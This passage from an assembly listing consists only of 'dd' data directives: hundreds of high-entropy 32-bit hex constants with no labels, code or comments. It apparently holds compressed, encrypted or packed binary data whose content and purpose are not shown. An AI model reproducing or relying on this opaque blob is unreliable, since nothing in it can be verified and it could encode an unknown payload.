1E28BC30h, 0A3E65CF5h dd 4CD0553Fh, 73E70070h, 0C71D45DFh, 9EC900D5h, 42EBD316h dd 14006B08h, 8528FEE0h, 0EC094162h, 5BC90078h, 0D2E2F061h dd 3903D4AFh, 1A5C726Eh, 0F88A906Dh, 100648BCh, 0E60EA203h dd 51D7EBFCh, 0C0788709h, 0C6005CE5h, 0E0FE6A59h, 0E2B5E9Dh dd 0B7709F19h, 5B0DF823h, 0EF122013h, 35D12407h, 0DAE0A03Eh dd 13E1BC79h, 0C7DF4Bh, 0FB890748h, 9C00E3A5h, 0BE193F2Eh dd 3134AC4h, 0E6BD18F2h, 45F83280h, 1007915h, 0DA8CA356h dd 0B69AE2Fh, 7ED502B4h, 71BDE487h, 0DCF735BCh, 0C5008BE9h dd 0E7640AFAh, 0E1A355h, 3C2E2D9Fh, 0F8F5C20h, 0A287FF09h dd 56CC01AEh, 0C5D0EC59h, 84670C1Fh, 4D7844F4h, 89BB3F00h dd 5EFDE98Bh, 0DBF703A7h, 1571DA31h, 0EDA2C2A0h, 0B18C6307h dd 0FF22587Dh, 0E28C60B7h, 8EE701A0h, 0C845F4EAh, 475030E9h dd 1FFB2B00h, 0E59A022Eh, 0AEB800A9h, 0CCE8585Dh, 2579C0F1h dd 2646D75Ch, 38BC0Eh, 4AF32ED4h, 0B03CA1h, 0DE40EFD0h dd 7764780h, 7BCAB300h, 2DB27259h, 66F87Dh, 303D96D3h dd 0CBD1B940h, 0DEB55700h, 8AC2035Fh, 0B4B305A8h, 7FBC77h dd 9FA192A8h, 0A4481BDEh, 0BEAA0054h, 5121DAFBh, 1AB81CD2h dd 1388668Ch, 0AFC00089h dd 0F401E720h, 0B4407F14h, 1C842EDh, 86F065B3h, 0EC490DF3h dd 12E12CDCh, 0C5D71Ah, 0BE1D8FE3h, 0D616A8EBh, 0B8024814h dd 0C4FA213Dh, 0BA3E0048h, 4AD564E9h, 6B006D77h, 94562DA9h dd 1224EFECh, 0C8039h, 0D0331168h, 6400A5C2h, 0CF061F6Dh dd 79B7B6C1h, 4C9A07A1h, 0B09DE15Ah, 0DA44E854h, 0C5631E0Ch dd 30C72803h, 72484346h, 8D07E9DDh, 0A5831F65h, 29E4F820h dd 50F500FDh, 92EDEC79h, 0D7008576h, 0E09E1AE9h, 331F63h dd 0D824EB78h, 1017B279h, 6C90E5ECh, 0EFDDFB07h, 86A07069h dd 1324D54h, 0C626FDDFh, 6F5B22ECh, 3A44B0h, 0C99B4EA1h dd 0BC95E76Ch, 0D3D9A00h, 85516197h, 0CF69026Fh, 5A634A7Fh dd 0A7906C43h, 53033FD6h, 26377972h, 1C69A85Dh, 0EE931F7Fh dd 7A87C2B9h, 7860F294h, 0C6003BC0h, 97465333h, 7EC209h dd 7AF62A66h, 22B43477h, 0A45AEC00h, 334FDEABh, 545F1DACh dd 0CD30C13Bh, 30FFE8AAh, 69000690h, 6A252FCCh, 284E1410h dd 1A0CF85h, 46376896h, 0E85B6929h, 303E24ACh, 7117801Ch dd 3E5FCA81h, 0EC22C23h, 0C19B1CC4h, 0C48E1ACFh, 0FCB4313Ch dd 0B3006639h, 99E0350Ch, 74EBA7C3h, 0EFBD58C5h, 32FF6003h dd 80C4D529h, 560DFAB0h, 7B722F00h, 0FDFBBAA0h, 92A43085h dd 0D25B8890h, 280AF8A8h, 0CCC9B003h, 0B88BA369h, 0DDF9BEh dd 551BCF2Ah, 62E7827Ch, 206AE430h, 0FD7E83Ah, 0DE8EF8F9h dd 38A0F00Eh, 0DCC99D5Eh, 19001C79h, 753C55B5h, 0C06FA1B0h dd 35E176C0h, 0E5007B25h, 0D47C1D88h, 5C1AB3DAh, 0DD406702h dd 1B960462h, 85C89DE8h, 531400C6h, 0CD2C6119h, 5D7DAD00h dd 0F373BCCBh, 429E227h, 5297C1C3h, 75588004h, 9A00DCF8h dd 0E977EF91h, 11424D9h, 13344112h, 353590DDh, 40A96178h dd 1FD28F8Ch, 0E6DA44C0h, 0A3C430h, 0B9B5CE8h, 7028E4B2h dd 6D0E4700h, 2A5B3765h, 0B54F00D4h, 0B2019CAEh, 230F4316h dd 0E01E8110h, 6D155088h, 3FE40036h, 9EBE2BB9h, 990D1642h dd 0A4A6E994h, 2C544E8h, 0CD283C84h, 7841DF47h, 30F0C960h dd 0D009B6Eh, 914A290Ah, 39D471E7h, 3300205Fh, 5D0EB0B5h dd 6C00A92Bh, 0AA8F3048h, 211FF81h, 24163ECBh, 11E03FD4h dd 0EE009138h, 0C1D315A4h, 2CE6702Fh, 8024BDA3h, 7544098Fh dd 0BE00BC0Bh, 10BFF286h, 1964E15h, 8FCB1A0Fh, 0E0BBFD44h dd 6A022E41h, 0B26C0784h, 0B4AF80E5h, 0FE7C1F90h, 47E17A9h dd 0BBAC01CBh, 0D0BEE6D4h, 0BF03B8F6h, 2E6CC390h, 9A5A0358h dd 0B3D14279h, 0EDE0FFC0h, 8088E738h, 0D9F1DEA1h, 0CF483Bh dd 0AA748444h, 903A152Bh, 0A1F33Fh, 9B778816h, 1DE25B8Bh dd 0C0510F99h, 0F4920AD6h, 0C17C3273h, 0B9EC851Bh, 0ED900080h dd 36C7A95Bh, 0B004423h, 0F4C2971h, 3309FAh, 42989D4Bh dd 0D59B2EF3h, 1BC20200h, 94393207h, 920C7CA7h, 3F271E4h dd 0C4F6D79Bh, 0EFA08EC9h, 4F076741h, 86407129h, 99EB931h dd 0A596E8h, 66106832h, 140D33CCh, 43593F00h, 0F008AD77h dd 8BC4009Dh, 992AC35Eh, 6850D5DDh, 207B14ACh, 2A77100h dd 8696F2E1h, 365D00FFh, 0ACEA7622h, 4DF5FB7Bh, 75D7E0FCh dd 0D6FC952Dh, 504400DEh, 0B90FF4F6h, 2D7FC800h, 0F33F453Eh dd 833D0768h, 0C98EEA96h, 120E5C44h, 2073A52Dh, 0D89D371Fh dd 7881005Ah, 0E26772FEh, 22FECA1Eh, 7E961B0Fh, 33EEC02Fh dd 5C3215Dh, 32CEAE29h, 6DBD00D2h, 0A43B05E0h, 0D0EB8B0Fh dd 603EAE54h, 46E84D2Dh, 76B9304Fh, 1E6BD421h, 9265C00h dd 927D6C11h, 8829006Fh, 7E5F2DEh, 381F2A64h, 3A80E447h dd 0C779A131h, 0C2BA00F3h, 93D192B4h, 0C90B589Ch, 875D27EFh dd 0AEE13BE0h, 2ED055EEh, 4D0A3B75h, 0C0202181h, 0F0C9AAF2h dd 57FEA5E2h, 8218D91Eh, 0E0B98Bh, 0EAFB9251h, 80FD30C7h dd 0A26493D0h, 0F02C9900h, 7BCCE99Ah, 246E006Fh, 7F7340DBh dd 0B1002163h, 29CF0B16h, 1DBEABE3h, 455A7030h, 9B41D3Bh dd 6740E2h, 0C0C6B79h, 0BC7F639h, 0FEA5BBh, 9BC51644h dd 79C400A0h, 332429CCh, 6EA3141h, 26EFD02h, 0C0F5A8B5h dd 197BF14h, 0B03907C0h, 0D8788562h, 8A09DECEh, 8419C167h dd 0D8C098ACh, 7155974Eh, 15A09FDh, 0F4406058h, 8CCDFCh dd 531303BCh, 87BEE9F7h, 74A40405h, 0C000A637h, 0BF73DE79h dd 80580124h, 359E51F2h, 0B4ABCB69h, 290E5EFBh, 81AAF437h dd 0A909608Ch, 526B9C85h, 0DDA71E33h, 0AA9500ADh, 0CE31B411h dd 0CAEFF726h, 53510203h, 616000A0h, 0CAFB67EEh, 0B900B59Eh dd 0AFC8CC26h, 0B0FA5E5Fh, 8E2E0300h, 0D8C13B52h, 6ED220A8h dd 0D7B6CE00h, 8624BC17h, 4E990059h, 0B8C2E72Dh, 62099F1Fh dd 800FB56Dh, 2F423C14h, 0E9F81C20h, 6C4CC057h, 4DE62D6Fh dd 857EFD00h, 5B77E5D3h, 0DA0A07DDh, 43435E76h, 6101FF33h dd 9A7D2949h, 1080FDD0h, 0B467557Eh, 6C80FCA2h, 32F8030Ah dd 0DCDDF51Eh, 0C8889683h, 7603CDD5h, 8B48EC54h, 36BAB0C6h dd 0C2C718D0h, 0ABCF08Ah, 495E7030h, 3048B7C0h, 6A1198BEh dd 31003908h, 0AAF98E8Bh, 6D83B4h, 442D4954h, 55E3B641h dd 85BD9700h, 6A0FA1CAh, 0F25600ADh, 8963A4B2h, 1573BC94h dd 0A5B7D900h, 3E021275h, 439F4C77h, 102DDE18h, 4F0EE7F7h dd 0C08D59A2h, 6DE4BB47h, 11B41F37h, 4CFF0019h, 7D39CDD7h dd 0BE863F8h, 2F5A38h, 0B59DEC78h, 1B3FB392h, 0E81B3861h dd 62D137B8h, 0B46DAC00h, 12944AADh, 38CA0005h, 0FA071A72h dd 0D4A09C08h, 4E0CFE26h, 105CEF7Dh, 6EBE01FCh, 761A198Dh dd 0C0A5FF9Ah, 39F4756Ah, 0DD85D40Ah, 4F0190E1h, 84730627h dd 0A8408FEDh, 30BD7F6h, 3B18A0Eh, 0A1030454h, 0BAE8B079h dd 0A8EBF083h, 1E7E00C9h, 2EA57120h, 8A02CEEDh, 0F00ADE61h dd 2F74405Ch, 5D9C04E4h, 0C38B18A9h, 420044E7h, 5F68C40Eh dd 0BF2FEEh, 0A1860869h, 325CF72Dh, 1905F000h, 3C7E3582h dd 785FEADBh, 4E8F0EE0h, 4AE06D84h, 560B448h, 83924201h dd 0F1EF88DEh, 0BD98F8h, 0DC74C523h, 8496E178h, 52C63Ch dd 0F7A0312Fh, 0C244D7h, 5631AC4h, 175C069Ah, 7882070Ah dd 8300D8DEh, 592E8AF7h, 64251434h, 0B526F027h, 0B09F0361h dd 5F887501h, 240098CAh, 0A16CFD2Ah, 1F0682D4h, 98AC0B08h dd 0BE0D10A2h, 4BE3DB03h, 79225DA6h, 6E993080h, 13652D68h dd 2C0E0A7Ch, 62852976h, 8007D264h, 0BDA1C88h, 0AE4D00E2h dd 0FDE59FE8h, 470F0972h, 80239E9Dh, 3D8AD622h, 0D0E850BFh dd 0A7763BD1h, 0CA82CC80h, 255DCE1h, 0F7749904h, 3C813D89h dd 0BACC10A8h, 70EC4844h, 8E49D983h, 0A6C6D800h, 0FC57BEC8h dd 0DA5500EBh, 3895D0ACh, 0E82E397Ah, 0FF001FC4h, 3CB3C6CCh dd 0D05450ADh, 0BAA90020h, 8B438C34h, 20B00C1Bh, 0F452570Ah dd 0A0CD4B8h, 8570F6h, 75FC726Ch, 9D2BA116h, 8D9AF71Eh dd 17EF0280h, 0CF7608h, 1650065Ah, 485FD569h, 1E82F900h dd 6484D8FEh, 26130040h, 0A0541C3Eh, 5C24DAC3h, 6D004C56h dd 0CCEC0374h, 5143D09h, 3F522200h, 0D30678A0h, 187ED77Bh dd 0F1A7AE0Fh, 1B8200Fh, 6F9825h, 6A40DC4Ah, 2C97337h dd 0D38D7F00h, 25F91539h, 0EAFF003Eh, 0E0D0C365h, 7490B972h dd 9871C900h, 0FB6457F2h, 1FC4A8E5h, 0C07903E1h, 0AA92440Ch dd 30BBF3C9h, 0BF00C8C1h, 0CA8D82C5h, 604554h, 956197E0h dd 0F8D93C55h, 6603C91h dd 428B0Ch, 0D18CDAB0h, 0FFB1525Dh, 0C4AC5A51h, 0D500C79Fh dd 9A0E1B84h, 0EAE0EF43h, 1E5F43Eh, 11346C49h, 0E02E1D06h dd 741216A2h, 7440BB07h, 0D60DE82h, 4DB900D6h, 0CF618B55h dd 0E0C6C24h, 0D0855F01h, 20EB1C15h, 52AFC7C3h, 0D78009BFh dd 762E7005h, 0E0DFE512h, 3CDA4F00h, 1AD6E9Dh, 3D07E9AEh dd 2030F3DCh, 0E10052B4h, 2F57F02Dh, 60A46DF7h, 627A1832h dd 0EB04C45Ch, 0C8742382h, 0F187A680h, 545E26A5h, 0ED2C00CCh dd 0E7FE2826h, 0BCD2AC07h, 0E0C10756h, 0C2F9B06Dh, 48D387D4h dd 0D7007165h, 0A6A86375h, 860022DEh, 0C43B0E68h, 0EB7385Ch dd 803279E3h, 0BCC145E0h, 1900AB76h, 0F033A1B1h, 0FF42AEDBh dd 0A4ADC30h, 2CFBF7BFh, 749400DCh, 0DEAA476Ch, 51B85Ch dd 90CC8A2Ah, 7D4838Fh, 0AEF51881h, 0A5AC00EAh, 43004EEFh dd 0FB363779h, 99EF856h, 0BDAFA141h, 1D6AB680h, 0F6B0D9F9h dd 0F30016F8h, 87563499h, 9BEC9Ah, 4B092A67h, 0BF1BA607h dd 0EA0D4A0h, 77983800h, 1AA53B43h, 0CA62046Eh, 8020F399h dd 68C67E74h, 1D00E890h, 3D558886h, 61D6D1h, 0FFA115F2h dd 1A21870Dh, 9B7C3E1Dh, 7B9AB040h, 76CE05h, 0C12D9DCBh dd 0D1C822A2h, 0BC2B5A26h, 31A31806h, 0D55F1C29h, 24014E48h dd 56193C01h, 0AA43DC5Ch, 80966000h, 69711DACh, 0A75F006Ch dd 7626C93Fh, 21007C08h, 0D934251Bh, 9C0D52h, 0EA73292Bh dd 0F14B56B7h, 0D7DDAAA0h, 79F0477Fh, 1AA9A200h, 91B6D16Ah dd 7BB4004Eh, 0BDB86299h, 0CB17DE52h, 0CC003BE3h, 9F321F42h dd 5AC80093h, 56B57D83h, 6200ED61h, 0F34AD16Bh, 78D6D8h dd 3F6E288Eh, 0A8F8F9E9h, 902B4716h, 0CCD8D440h, 0B9C89Dh dd 6A395BAh, 0A2D1C246h, 0A500A8B8h, 51664EBh, 76B2D3Fh dd 4D144A82h, 0A3EAB05Ch, 7F0FF2BAh, 40AF1586h, 0C6301019h dd 0D3F1007Ah, 79C85120h, 0A403B5EEh, 382F3C1Ch, 687828EAh dd 395B07E4h, 603BC99Fh, 0FEB80818h, 3E99B8F1h, 3F5C5D20h dd 91BF0EBEh, 0A5063DB0h, 0F018B9D2h, 3AF8A8h, 11479D2Fh dd 0AED47739h, 0D0BC9C00h, 5C8E58B6h, 873800E6h, 779286E8h dd 1D6F30FBh, 985B0758h, 0C0B8880Ch, 0FB723750h, 21C10675h dd 7ACB983Bh, 0F6E1C34h, 95A8C367h, 0B89790B8h, 0A58F850h dd 715BDE1Ch, 5CAE14h, 6A2F5090h, 72DCC86h, 3D63E3D9h dd 0FDEA802Ch, 8C07CDC2h, 0BC382689h, 0D4C0AAA7h, 0FADDD231h dd 7E2E0EDAh, 0FA0ED79h, 0C8698A10h, 4D585E00h, 2A575534h dd 0D1BD0011h, 0B3CF513Ch, 76048A15h, 0FCEFD70h, 1345BAC0h dd 900304BEh, 0C0A9A540h, 1E10BC0h, 0AF60CC1Dh, 0A7330287h dd 5D7D600Fh, 0E045FEh, 44654CC7h, 93BDF2EFh, 5A78AD00h dd 6F69384Ah, 3C498B9h, 58A233D1h, 40857B40h, 10DC9F90h dd 0B93F345Dh, 0D6007B0Ah, 24608674h, 93E054h, 0EF6E8D36h dd 6267F87Dh, 17A5370Dh, 77214178h, 1B4D9C10h, 8E3E07ADh dd 90F845F0h, 7D5F131Eh, 0A6D9BF00h, 8851A13Bh, 0BCF250B2h dd 0C85E0049h, 9A55147Ch, 3B1D7EACh, 4A40C942h, 0FF62EE99h dd 24E73E91h, 0BD2E7A01h, 0B88BE06Ah, 0E81D0040h, 0EA89F9EFh dd 974602C1h, 25AD10B0h, 5060488Eh, 4CFD7A3h, 0F6AB700h dd 0D2A0EB07h, 7AB8019Fh, 0BA1E5DE0h, 0D3F131FFh, 0EED1E2D0h dd 90BF2E30h, 7C413B62h, 9CAD0CC0h, 85593625h, 8EE8A00h dd 671E02D6h, 0DB3B00A3h, 0F7E9BA66h, 0F5007FEDh, 9C81EEEBh dd 15866CBFh, 98D31CA5h, 0B9B37C08h, 0CA0CA420h, 11A29011h dd 1CF100B1h, 72888BFh, 360315D3h, 0C7AA0A56h, 78B0909Eh dd 0B5863D8Dh, 206FB900h, 85D5B237h, 80E6BA38h, 3AD98E8Ah dd 726275h, 91411FE0h, 9CC9828Bh, 0A35C5704h, 4507C55h dd 0E2260CBAh, 0F641071h, 3CDDC1DAh, 6A7509E0h, 1600F1EBh dd 0C33EEF50h, 586C7h, 9C33A379h, 0EA0191FAh, 58694200h dd 7263A5D3h, 3B8C0099h, 12C1220Bh, 26010C74h, 572A8AF7h dd 0E0CC49D7h, 32AB1659h, 0E03EFEFh, 0D8FB6E21h, 0E4974Fh dd 0CBEBE213h, 14284EAh, 475CE900h, 539321BAh, 6BF218h dd 582D3E0h, 0D7FAFE96h, 6D0099F6h, 3DAA489Bh, 0C19F20h dd 75BE335Eh, 0DD4E5032h, 874C5B00h, 5DC98BB8h, 7A0F0014h dd 0FBD9FDD1h, 0A400A727h, 0E407886Bh, 0F716F58h, 0EB63B41Fh dd 8A6E003Fh, 0B353F18Bh, 3795AE00h, 0B9FFD750h, 12364838h dd 0BCF6AA0Eh, 0D03B4D06h, 0DEDD0F00h, 0CCD4BE17h, 0E2987Bh dd 9B56EAFDh, 5C412C92h, 8004C73Bh, 8AB993E3h, 0C04490h dd 748268Ch, 91957E74h, 2565C0Ch, 32F093h, 0D42FAD73h dd 7EB941A6h, 0D9E41754h, 340D1430h, 0AC1F45h, 0D4783AFCh dd 14C2693h, 400E6Fh, 79769B1Eh, 54FB1D38h, 0F863405Ch dd 4853EF1Fh, 0C49DF101h, 842549C2h, 1024C7D9h, 14D77F3Bh dd 0DC5AE156h, 8D3F0A00h, 0F72280Ch, 8A44E200h, 0AA22A47Ch dd 679F1F1Fh, 593B3F17h, 8F859681h, 0F0A3714Dh, 82001B08h dd 8830B4B9h, 746CBC1h, 0DFD3A4E9h, 5704F00Ah, 1112E166h dd 220FC980h, 397FE0ADh, 6D05E9h, 0FC0546Ch, 79121E6Ah dd 290027FAh, 0A4CE4C10h, 322C18h, 0D14D7321h, 1D349E38h dd 7201E900h, 5444173Ch, 5E7D014Bh, 0C98A55CDh, 0F085712Bh dd 9603ACB5h, 7662E36Ah, 95E8E02Ch, 286773BAh, 5484CE0Eh dd 294C38h, 7555BCAAh, 0B8362A6Bh, 0ED006C7Dh, 0E7FEE94Ah dd 1D2F0A17h, 80B34681h, 0F04298EBh, 840A7CCBh, 0A8D59571h dd 8137A840h, 8A1D01F9h, 7451042Eh, 0EE57F176h, 0CAB3D040h dd 154BBD00h, 342E02A5h, 40770027h, 95EE3F59h, 1701BF20h dd 0B852DDAAh, 0EC40FC3Bh, 7E6E316Ah, 2B730625h, 0F029B7FDh dd 13610200h, 0C02C4838h, 0CDD70028h, 0B0ECD43Dh, 17B821B1h dd 56265400h, 468B8840h, 69890B5h, 0E5C37A6Ah, 1500115Eh dd 53230468h, 3C1A8E90h, 18C88408h, 4BD76C80h, 2500E951h dd 99DDF135h, 0FE946Eh, 7F66A9FCh, 227249DBh, 713A3B00h dd 82EC8345h, 1CD4E913h, 6A69384Ah, 0B78FAF01h, 0ED4C7E98h dd 9FC4C0AEh, 0FC485800h, 52412179h, 7933F2D1h, 0EBAE0FF2h dd 0BAE0C825h, 3E9BFDF3h, 0EADD9A00h, 4A4F1B2Ch, 10A66085h dd 17C00137h, 3C2BF600h, 2E697FA2h, 0A71431B4h, 0C513C920h dd 0A65AF4FAh, 3378AF0Ch, 0A170C4h, 359BFF1Dh, 5326ACA5h dd 2895F00h, 50FCDE03h, 72E0274h, 414B9A9Ch, 807DA484h dd 5BDF21D0h, 80661C3Eh, 743FF62Ah, 8E4B14h, 3E566AEAh dd 733BEF27h, 16680463h, 0F1F32Ah, 1E89D928h, 5C150292h dd 375A48h, 9413C6D4h, 0C0653F8h, 9A896DEh, 73036C59h dd 2EFD3930h, 7B51001Dh, 2DA1C527h, 2F0CBFEBh, 61FB2635h dd 0FC8400DEh, 0D85D429h, 7492FD3Ch, 5FFB6C13h, 99BD3040h dd 0A0D3EB81h, 128590h, 634F3B1h, 76CBBB3h, 498AF000h dd 7B98D05Dh, 8B0F3C36h, 24FBD700h, 25DCB962h, 0D219A700h dd 0A965D902h, 726730BCh, 0C758C928h, 6B3439h, 791C9436h dd 60DCD578h, 8AE2809Fh, 0C012EE3h, 0D63B7A6h, 0BFF0D21Bh dd 0FB560CEFh, 0AF9801C2h, 71F2C100h, 583D7B59h, 52F7072Eh dd 80E5ECh, 4DF109A2h, 0D536DD00h, 7D9D9197h, 0D6480042h dd 0B84C60Eh, 0E4003DC9h, 49F933A8h, 189DCC3Bh, 6061EE86h dd 0AC791A18h, 10663A31h, 31C00DF8h, 91430005h, 0F076A56Dh dd 0B500582Eh, 0B19A3C5Eh dd 3E5BBBh, 100B776Fh, 24480EE6h, 5A9FEF2Ch, 75969100h dd 0E88B443Ch, 1D01F2Bh, 9E5C4045h, 7854FE8Ch, 3B763Dh dd 3A885285h, 0AB3464h, 0A13D4C56h, 0E08C1D1h, 0B2860600h dd 8E3C1C5Eh, 0A261007Fh, 32E0A929h, 9700B8BDh, 6A570874h dd 0E2909Dh, 9AAFB525h, 2C681A30h, 3D82B000h, 4CD3364Ah dd 2F6200BEh, 763B81A6h, 0EE0060AEh, 0CCA3F605h, 0C70BCEh dd 0FC80ECE2h, 44C88110h, 0A435C32Eh, 45CC2A04h, 6F4790D1h dd 3B26F7DCh, 840079F6h, 0FC448A65h, 320F24C5h, 0F2522Fh dd 0A745862Eh, 8260007Eh, 443EE0Dh, 817266Ah, 54408F47h dd 0D6923ECCh, 44524C4Ch, 92FA000h, 2B0A83C6h, 87182400h dd 627BE9B0h, 6FCF075Ah, 51B3F7BDh, 0FC929E1Eh, 18053F16h dd 0AE4AF0EAh, 0ACB800BBh, 9D973704h, 77E45300h, 0C7597EC2h dd 62500DEh, 0D4F3983Ch, 2C064065h, 70F52E68h, 86892E91h dd 0CA6B80A0h, 526858F8h, 23E821E8h, 0E5B11918h, 493B0121h dd 7703A498h, 70ADE688h, 0E8C408Fh, 5600134Eh, 99EBC8D9h dd 3F122E7h, 0C7756131h, 0E9E0D897h, 950B934Eh, 6A471ECh dd 9058695Ch, 0FDF80A92h, 3065E4h, 47B62144h, 0BEE49050h dd 9D839A1Eh, 119F3500h, 0F567C5h, 7BBD4608h, 0FD4465B5h dd 0DCCA2426h, 90009EA4h, 71D8459Fh, 7C6A9089h, 0DC0600C5h dd 8C403A81h, 0C400EA7Eh, 71217C35h, 0E4E3C303h, 0E29F3DA7h dd 0B97FFC00h, 5741E1AEh, 891B2F00h, 6F016BD8h, 71AF00B7h dd 2DBC1078h, 0B100E113h, 2F865EAEh, 506723h, 3B51943h dd 0BCDD90A4h, 0DEAC9400h, 0FBEECB99h, 7DD80016h, 35200E18h dd 2100BA2Eh, 7A5AC30h, 0F3412Fh, 7DE4FBB1h, 0B6CFC64Dh dd 793B48h, 0CE3A7079h, 22A953h, 4A49BEEAh, 0ED269FCDh dd 0E4839CA8h, 5389F00Fh, 386A4001h, 79EEB51Eh, 21FE07Bh dd 59A38B98h, 4A6519h, 0F0209A62h, 898FD373h, 81C4253Fh dd 42AED78Ch, 0C821C31Ah, 579C618Eh, 55470102h, 0BD19ECC0h dd 0DA80E802h, 0A3CFC350h, 12EE21C0h, 0BA4531h, 0AE62C160h dd 27000FE2h, 0A7728DDAh, 0A9DE90h, 2D88F25Fh, 67CA6E58h dd 91EDD530h, 78111F0h, 8822C4B7h, 65904052h, 267D07E4h dd 0ACBA6013h, 0E5990818h, 0E88F5A91h, 1FB807EBh, 18509DCFh dd 39542BBCh, 471848F2h, 0E70A999Bh, 0DC011978h, 584B246Ah dd 7980EBD5h, 65BA8C53h, 71000D4Eh, 1F9EBB70h, 31AD69CEh dd 64716B90h, 28A9D8FEh, 8504972h, 97004DC5h, 82450AD2h dd 62F028Fh, 3FB32BDEh, 920079EBh, 89E987DBh, 1FE5A5D2h dd 9EEC70h, 0BE5394A6h, 44986C59h, 0F1ED927Eh, 0B965E09Fh dd 0A0409E60h, 0BDF8AE1h, 0C818A24Bh, 0DB221A80h, 0F03E25AFh dd 0A5280027h, 0B9C34FF5h, 62D93AF1h, 30E5779Dh, 1FE00430h dd 687D2E79h, 0BE786F03h, 0E8F75414h, 0F517A94h, 0D3E93392h dd 90B57EE0h, 0AAE8430Eh, 0C6AD3600h, 5A9A9F64h, 0CAF603FEh dd 14D8E3F9h, 0F162880Ch, 0E1808D0h, 7BB75F8Dh, 0FFE3EC40h dd 5006EEF9h, 9A9B3907h, 32760F40h, 35E4FE58h, 7593401Bh dd 0EFF26E22h, 803F4980h, 392F6B1Ch, 0C61D3600h, 4DBC88D5h dd 785F0C4Eh, 89D9E677h, 3B112803h, 0B8B34AD3h, 36352ACh dd 84C59460h, 7EF84538h, 0C3008709h, 5499F57Ah, 0E01C55h dd 77C2E4E3h, 6D381863h, 0D050D861h, 998E0A54h, 0CF40F543h dd 0E97388E0h, 0D333B200h, 0DB8235C2h, 6EFB1DE3h, 0D6270221h dd 4B53F42h, 461C5414h, 0AAC3BA04h, 10005DF4h, 0DDB23048h dd 168A536Eh, 44D1DCh, 9EA78BB5h, 0CD011F0Dh, 0E0A191D5h dd 7CCFE8C0h, 0F0150049h, 0A579FFDBh, 0E3F8DA36h, 0C9664100h dd 4F9555B8h, 0D84E00D6h, 0A2DF7D17h, 5E6FC0CCh, 8845A380h dd 4CC48854h, 3EB33EA9h, 2ED10F7Bh, 1D43EC1Eh, 207C2C58h dd 0AD3A030Ah, 3E782071h, 62188C38h, 0BEA9C226h, 5ECF008Fh dd 0E1BA804Ch, 8600584Fh, 3961772h, 0A83D636Bh, 185F078Ch dd 11345A6Ch, 45017E14h, 0AF7DE3A6h, 25E4B396h, 0CE350F91h dd 0EC06C242h, 6F2A905Ch, 7070AC6Eh, 2A20F300h, 366EFF2h dd 579D13DBh, 0A65E007Fh, 0E7B14F8Eh, 98E3A03Ah, 0FD39686Fh dd 7FEA1Ch, 13D949Dh, 0E65E37F3h, 0BDD43000h, 0DDCAC107h dd 0C2130AD2h, 9EE4D0A7h, 0D467405Ah, 9CE759EBh, 0DD916667h dd 7DBEBF00h, 0E8100795h, 0C026A67Ah, 0BBCDBC86h, 1541CC60h dd 0F11A2Ch, 8749A33Dh, 11678AF0h, 0DA37C902h, 64DDC0E1h dd 8D380004h, 0DC56AEEFh, 321836BBh, 4F62BCC1h, 0CF2430F6h dd 7F70B529h, 3C4A9400h, 879918FDh, 0BC954E59h, 0F0796159h dd 318FE421h, 407D88BDh, 45441540h, 0ECA3D39Ch, 5DCBE810h dd 94546F3Ch, 0D56E0F7Ah, 0E3C03464h, 0BD3813D0h, 0CE454C07h dd 6360CA8Dh, 0F25087h, 19C0FA2Bh, 4A8A15A6h, 5438F014h dd 28420A24h, 5F80F457h, 3125F15Dh, 96DF0E67h, 6B80D9CAh dd 0A54BCC66h, 60ECB13Dh, 0AB3413E8h, 4EE80A1Dh, 43B89D4Dh dd 35B18239h, 93F5ECDCh, 0EDCC5F1Fh, 0CAEA2306h, 902A5298h dd 6E646A00h, 3F96F2A7h, 0A0BD9C09h, 6D0C215Dh, 4102950Fh dd 0F8CFD020h, 2BB80084h, 53F2D5C9h, 5F0A4C20h, 0A8C29DF0h dd 2A1AF598h, 0D2E03Eh, 2CCEA0AEh, 0AFC9FB5h, 68E190A0h dd 0AE144388h, 0F5F208F4h, 1803124h, 36B20B86h, 0D7471CB4h dd 83B0C302h, 19E05765h, 37E24598h, 0EF151E00h, 0BB2FA9A2h dd 34089031h, 30C0C52Ch, 0ED9DF5D8h, 0E47B9E2Ch, 0C120F020h dd 4897484Ah, 79E52118h, 0A638B2FCh, 6F230DB5h, 3BE8416Ch dd 0E385034Ah, 0C2408151h, 0DB3AB9C0h, 480C3500h, 0D082F345h dd 0F9BBFACAh, 0AF61824h, 0C19D1DAEh, 0B2F48090h, 0D5E4BBACh dd 8F207400h, 9B240E50h, 7E400F45h, 9D0A54Ch, 204F2BA9h dd 981FCF0Ch, 0AA170096h, 0EE5D4756h, 57192CBEh, 3AA1594Dh dd 905E7C48h, 989276C8h, 4D261888h, 0CDA22969h, 25F9CE14h dd 9D810078h, 8C3A8AB5h, 3DBD0178h, 2834F764h, 5E818722h dd 19D0EF6Eh, 1C77D7D0h, 7EF6EC56h, 8E379600h, 4BA23806h dd 0C783B100h, 3634FDDh, 8ECA464h, 0CEC2C0F0h, 54B4BEBAh dd 4B48C190h, 724780ECh, 3098BC9Fh, 21213D9Dh, 867AD879h dd 4EAB900h, 0BB7A9C3Ah, 7DE9050Bh, 7222FEECh, 39276BF8h dd 0A2209DC0h, 6C7E2Fh, 0CAD5D7F8h, 4CB8DB0Fh, 0B4793E28h dd 586418A0h, 6C67C600h, 26E75E5Dh, 0A3FCA440h, 2FA10777h dd 40F13068h, 0D01C755h, 0DCC0E50Ah, 0B80E6CCAh, 0F60190CDh dd 64C961B9h, 69406408h, 3C9A2BECh, 19C20700h, 0BE5B1493h dd 12FCAC43h, 23B1CD9Eh, 338BC120h, 3828611Dh, 73D90020h dd 3C7B788Dh, 1A00D0CBh, 1CB0AB5Dh, 0FC02C249h, 7C9168h dd 0C6E75C25h, 2E0414AFh, 3C87F0D1h, 0C5BEC203h, 0CA6F6918h dd 955EC31h, 4C699D0Eh, 0DFC10498h, 974CD4A4h, 7891E0h dd 0DBFBE122h, 48AF91BBh, 9F218815h, 1425B816h, 59FB0C70h dd 13A179A5h, 723B3CA9h, 0CC20CE54h, 1C6967D8h, 8441BA16h dd 9823EB7Fh, 0C3609C70h, 0E1BEE761h, 5AC800B8h, 220BFC4Bh dd 0D5015255h, 4198906Fh, 0D0605F44h, 24282A13h, 0CEF700A8h dd 0CC6816DFh, 0C53B74FAh, 89923AABh, 8544ECACh, 0B8903C5Ch dd 0C0202BA2h, 47B10339h, 4DEC1997h, 0EB507A00h, 64B024DFh dd 0F21D4896h, 57C39105h, 0D618D048h, 151519A5h, 29A8CF68h dd 6400F02Bh, 5B0451A6h dd 1602008Eh, 0FABCD226h, 9416F639h, 30A0A7h, 60426B7Ch dd 0EF8C8935h, 0FA06C36Dh, 